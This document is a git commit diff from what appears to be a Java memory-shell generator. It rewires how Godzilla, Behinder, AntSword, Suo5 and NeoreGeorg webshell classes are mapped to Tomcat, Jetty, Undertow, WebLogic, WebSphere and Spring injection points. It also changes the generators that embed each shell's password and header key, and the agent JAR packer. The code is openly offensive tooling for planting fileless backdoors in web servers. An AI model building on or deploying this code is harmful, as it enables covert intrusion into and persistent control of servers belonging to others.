feat: use ASM Agent by default

This commit is contained in:
ReaJason
2025-05-28 01:22:54 +08:00
parent cb39b9f26b
commit f349586e09
154 changed files with 6927 additions and 5720 deletions
@@ -2,27 +2,11 @@ package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.server.*; import com.reajason.javaweb.memshell.server.*;
import com.reajason.javaweb.memshell.shelltool.antsword.*; import com.reajason.javaweb.memshell.shelltool.antsword.*;
import com.reajason.javaweb.memshell.shelltool.antsword.jetty.AntSwordHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.undertow.AntSwordServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.*; import com.reajason.javaweb.memshell.shelltool.behinder.*;
import com.reajason.javaweb.memshell.shelltool.behinder.jetty.BehinderHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.undertow.BehinderServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.*; import com.reajason.javaweb.memshell.shelltool.command.*;
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAsmMethodVisitor;
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServerInitialHandlerAsmMethodVisitor;
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.*; import com.reajason.javaweb.memshell.shelltool.godzilla.*;
import com.reajason.javaweb.memshell.shelltool.godzilla.jetty.GodzillaHandlerAdvisor; import com.reajason.javaweb.memshell.shelltool.neoreg.*;
import com.reajason.javaweb.memshell.shelltool.godzilla.undertow.GodzillaServletInitialHandlerAdvisor; import com.reajason.javaweb.memshell.shelltool.suo5.*;
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgFilter;
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgListener;
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgServlet;
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgValve;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction; import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction;
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod; import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod;
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler; import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
@@ -34,15 +18,12 @@ import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter;
import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter; import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler; import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor; import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler; import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor; import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler; import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor; import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler; import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor; import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgControllerHandler; import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgInterceptor; import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler; import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
@@ -163,17 +144,17 @@ public enum Server {
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, GodzillaControllerHandler.class) .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, GodzillaServletAdvisor.class) .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Godzilla.class)
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, GodzillaWebFilter.class) .addShellClass(SPRING_WEBFLUX_WEB_FILTER, GodzillaWebFilter.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, GodzillaHandlerMethod.class) .addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, GodzillaHandlerMethod.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, GodzillaHandlerFunction.class) .addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, GodzillaHandlerFunction.class)
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class) .addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
.addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class) .addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
.addShellClass(JETTY_AGENT_HANDLER, GodzillaHandlerAdvisor.class) .addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaServletInitialHandlerAdvisor.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, GodzillaFilterChainAdvisor.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, GodzillaFilterChainAdvisor.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
.build()); .build());
addToolMapping(ShellTool.Behinder, ToolMapping.builder() addToolMapping(ShellTool.Behinder, ToolMapping.builder()
@@ -189,13 +170,13 @@ public enum Server {
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, BehinderControllerHandler.class) .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, BehinderControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, BehinderServletAdvisor.class) .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Behinder.class)
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class) .addShellClass(AGENT_FILTER_CHAIN, Behinder.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Behinder.class)
.addShellClass(JETTY_AGENT_HANDLER, BehinderHandlerAdvisor.class) .addShellClass(JETTY_AGENT_HANDLER, BehinderJettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderServletInitialHandlerAdvisor.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, BehinderFilterChainAdvisor.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, BehinderFilterChainAdvisor.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
.build()); .build());
addToolMapping(ShellTool.AntSword, ToolMapping.builder() addToolMapping(ShellTool.AntSword, ToolMapping.builder()
@@ -205,13 +186,13 @@ public enum Server {
.addShellClass(VALVE, AntSwordValve.class) .addShellClass(VALVE, AntSwordValve.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class) .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSword.class)
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class) .addShellClass(AGENT_FILTER_CHAIN, AntSword.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSword.class)
.addShellClass(JETTY_AGENT_HANDLER, AntSwordHandlerAdvisor.class) .addShellClass(JETTY_AGENT_HANDLER, AntSwordJettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
.build()); .build());
addToolMapping(ShellTool.Command, ToolMapping.builder() addToolMapping(ShellTool.Command, ToolMapping.builder()
@@ -229,24 +210,17 @@ public enum Server {
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class) .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandFilterChainAdvisor.class) .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Command.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, CommandFilterChainAsmMethodVisitor.class)
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class) .addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class) .addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class) .addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class) .addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class) .addShellClass(AGENT_FILTER_CHAIN, Command.class)
.addShellClass(AGENT_FILTER_CHAIN_ASM, CommandFilterChainAsmMethodVisitor.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class) .addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE_ASM, CommandFilterChainAsmMethodVisitor.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
.addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
.addShellClass(JETTY_AGENT_HANDLER_ASM, CommandHandlerAsmMethodVisitor.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, CommandServerInitialHandlerAsmMethodVisitor.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, CommandFilterChainAsmMethodVisitor.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER_ASM, CommandFilterChainAsmMethodVisitor.class)
.build()); .build());
addToolMapping(ShellTool.Suo5, ToolMapping.builder() addToolMapping(ShellTool.Suo5, ToolMapping.builder()
@@ -262,7 +236,14 @@ public enum Server {
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5ControllerHandler.class) .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5.class)
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class) .addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class)
.addShellClass(AGENT_FILTER_CHAIN, Suo5.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5.class)
.addShellClass(JETTY_AGENT_HANDLER, Suo5JettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
.build()); .build());
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder() addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
@@ -278,6 +259,13 @@ public enum Server {
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class) .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, NeoreGeorg.class)
.addShellClass(AGENT_FILTER_CHAIN, NeoreGeorg.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, NeoreGeorg.class)
.addShellClass(JETTY_AGENT_HANDLER, NeoreGeorgJettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
.build()); .build());
} }
} }
@@ -19,27 +19,19 @@ public class ShellType {
public static final String NETTY_HANDLER = "NettyHandler"; public static final String NETTY_HANDLER = "NettyHandler";
public static final String AGENT = "Agent"; public static final String AGENT = "Agent";
public static final String ASM = "ASM";
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain"; public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChain" + ASM;
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve"; public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValve" + ASM;
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler"; public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
public static final String JETTY_AGENT_HANDLER_ASM = AGENT + "Handler" + ASM;
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler"; public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
public static final String UNDERTOW_AGENT_SERVLET_HANDLER_ASM = AGENT + "ServletHandler" + ASM;
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager"; public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
public static final String WAS_AGENT_FILTER_MANAGER_ASM = AGENT + "FilterManager" + ASM;
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext"; public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM = AGENT + "ServletContext" + ASM;
public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor"; public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor";
public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor"; public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor";
public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler"; public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler";
public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler"; public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet"; public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet";
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM = AGENT + "FrameworkServlet" + ASM;
public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter"; public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter";
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod"; public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
@@ -49,20 +49,9 @@ public class AntSwordGenerator {
builder = LogRemoveMethodVisitor.extend(builder); builder = LogRemoveMethodVisitor.extend(builder);
} }
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) { return builder.field(named("pass")).value(antSwordConfig.getPass())
builder = builder.visit(
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
put("pass", antSwordConfig.getPass());
put("headerName", antSwordConfig.getHeaderName());
put("headerValue", antSwordConfig.getHeaderValue());
}})
);
} else {
builder = builder.field(named("pass")).value(antSwordConfig.getPass())
.field(named("headerName")).value(antSwordConfig.getHeaderName()) .field(named("headerName")).value(antSwordConfig.getHeaderName())
.field(named("headerValue")).value(antSwordConfig.getHeaderValue()); .field(named("headerValue")).value(antSwordConfig.getHeaderValue());
}
return builder;
} }
public byte[] getBytes() { public byte[] getBytes() {
@@ -1,11 +1,9 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.BehinderConfig; import com.reajason.javaweb.memshell.config.BehinderConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.utils.DigestUtils; import com.reajason.javaweb.memshell.utils.DigestUtils;
@@ -13,8 +11,6 @@ import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import java.util.HashMap;
import static net.bytebuddy.matcher.ElementMatchers.named; import static net.bytebuddy.matcher.ElementMatchers.named;
/** /**
@@ -52,20 +48,9 @@ public class BehinderGenerator {
builder = LogRemoveMethodVisitor.extend(builder); builder = LogRemoveMethodVisitor.extend(builder);
} }
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) { return builder.field(named("pass")).value(md5Key)
builder = builder.visit( .field(named("headerName")).value(behinderConfig.getHeaderName())
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{ .field(named("headerValue")).value(behinderConfig.getHeaderValue());
put("pass", md5Key);
put("headerName", behinderConfig.getHeaderName());
put("headerValue", behinderConfig.getHeaderValue());
}})
);
} else {
builder = builder.field(named("pass")).value(md5Key)
.field(named("headerName")).value(behinderConfig.getHeaderName())
.field(named("headerValue")).value(behinderConfig.getHeaderValue());
}
return builder;
} }
public byte[] getBytes() { public byte[] getBytes() {
@@ -1,11 +1,9 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.GodzillaConfig; import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.utils.DigestUtils; import com.reajason.javaweb.memshell.utils.DigestUtils;
@@ -13,8 +11,6 @@ import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import java.util.HashMap;
import static net.bytebuddy.matcher.ElementMatchers.named; import static net.bytebuddy.matcher.ElementMatchers.named;
/** /**
@@ -53,24 +49,11 @@ public class GodzillaGenerator {
builder = LogRemoveMethodVisitor.extend(builder); builder = LogRemoveMethodVisitor.extend(builder);
} }
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) { return builder.field(named("pass")).value(godzillaConfig.getPass())
builder = builder.visit( .field(named("key")).value(md5Key)
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{ .field(named("md5")).value(md5)
put("pass", godzillaConfig.getPass()); .field(named("headerName")).value(godzillaConfig.getHeaderName())
put("key", md5Key); .field(named("headerValue")).value(godzillaConfig.getHeaderValue());
put("md5", md5);
put("headerName", godzillaConfig.getHeaderName());
put("headerValue", godzillaConfig.getHeaderValue());
}})
);
} else {
builder = builder.field(named("pass")).value(godzillaConfig.getPass())
.field(named("key")).value(md5Key)
.field(named("md5")).value(md5)
.field(named("headerName")).value(godzillaConfig.getHeaderName())
.field(named("headerValue")).value(godzillaConfig.getHeaderValue());
}
return builder;
} }
public byte[] getBytes() { public byte[] getBytes() {
@@ -42,19 +42,8 @@ public class NeoreGeorgGenerator {
builder = LogRemoveMethodVisitor.extend(builder); builder = LogRemoveMethodVisitor.extend(builder);
} }
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) { return builder.field(named("headerName")).value(neoreGeorgConfig.getHeaderName())
builder = builder.visit(
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
put("headerName", neoreGeorgConfig.getHeaderName());
put("headerValue", neoreGeorgConfig.getHeaderValue());
}})
);
} else {
builder = builder
.field(named("headerName")).value(neoreGeorgConfig.getHeaderName())
.field(named("headerValue")).value(neoreGeorgConfig.getHeaderValue()); .field(named("headerValue")).value(neoreGeorgConfig.getHeaderValue());
}
return builder;
} }
public byte[] getBytes() { public byte[] getBytes() {
@@ -42,19 +42,9 @@ public class Suo5Generator {
builder = LogRemoveMethodVisitor.extend(builder); builder = LogRemoveMethodVisitor.extend(builder);
} }
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) { return builder
builder = builder.visit(
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
put("headerName", suo5Config.getHeaderName());
put("headerValue", suo5Config.getHeaderValue());
}})
);
} else {
builder = builder
.field(named("headerName")).value(suo5Config.getHeaderName()) .field(named("headerName")).value(suo5Config.getHeaderName())
.field(named("headerValue")).value(suo5Config.getHeaderValue()); .field(named("headerValue")).value(suo5Config.getHeaderValue());
}
return builder;
} }
public byte[] getBytes() { public byte[] getBytes() {
@@ -52,16 +52,6 @@ public class CommandGenerator {
builder = LogRemoveMethodVisitor.extend(builder); builder = LogRemoveMethodVisitor.extend(builder);
} }
String shellType = shellConfig.getShellType();
if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
put("paramName", commandConfig.getParamName());
}})
);
}
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(commandConfig.getEncryptor())) { if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(commandConfig.getEncryptor())) {
builder = builder builder = builder
.visit(new AsmVisitorWrapper.ForDeclaredMethods() .visit(new AsmVisitorWrapper.ForDeclaredMethods()
@@ -1,12 +1,10 @@
package com.reajason.javaweb.memshell.packer.jar; package com.reajason.javaweb.memshell.packer.jar;
import com.reajason.javaweb.asm.ClassRenameUtils; import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import org.apache.commons.io.IOUtils; import org.apache.commons.io.IOUtils;
import org.apache.commons.lang3.StringUtils;
import org.objectweb.asm.Opcodes; import org.objectweb.asm.Opcodes;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
@@ -32,44 +30,34 @@ public class AgentJarPacker implements JarPacker {
public byte[] packBytes(GenerateResult generateResult) { public byte[] packBytes(GenerateResult generateResult) {
Manifest manifest = createManifest(generateResult.getInjectorClassName()); Manifest manifest = createManifest(generateResult.getInjectorClassName());
ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
String relocatePrefix = "shade/";
String relocatePrefix = CommonUtil.getRandomPackageName().replace(".", "/") + "/";
boolean isAsm = generateResult.getShellConfig().getShellType().endsWith(ShellType.ASM);
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) { try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
addDependencies(targetJar, relocatePrefix, isAsm); addDependencies(targetJar, relocatePrefix);
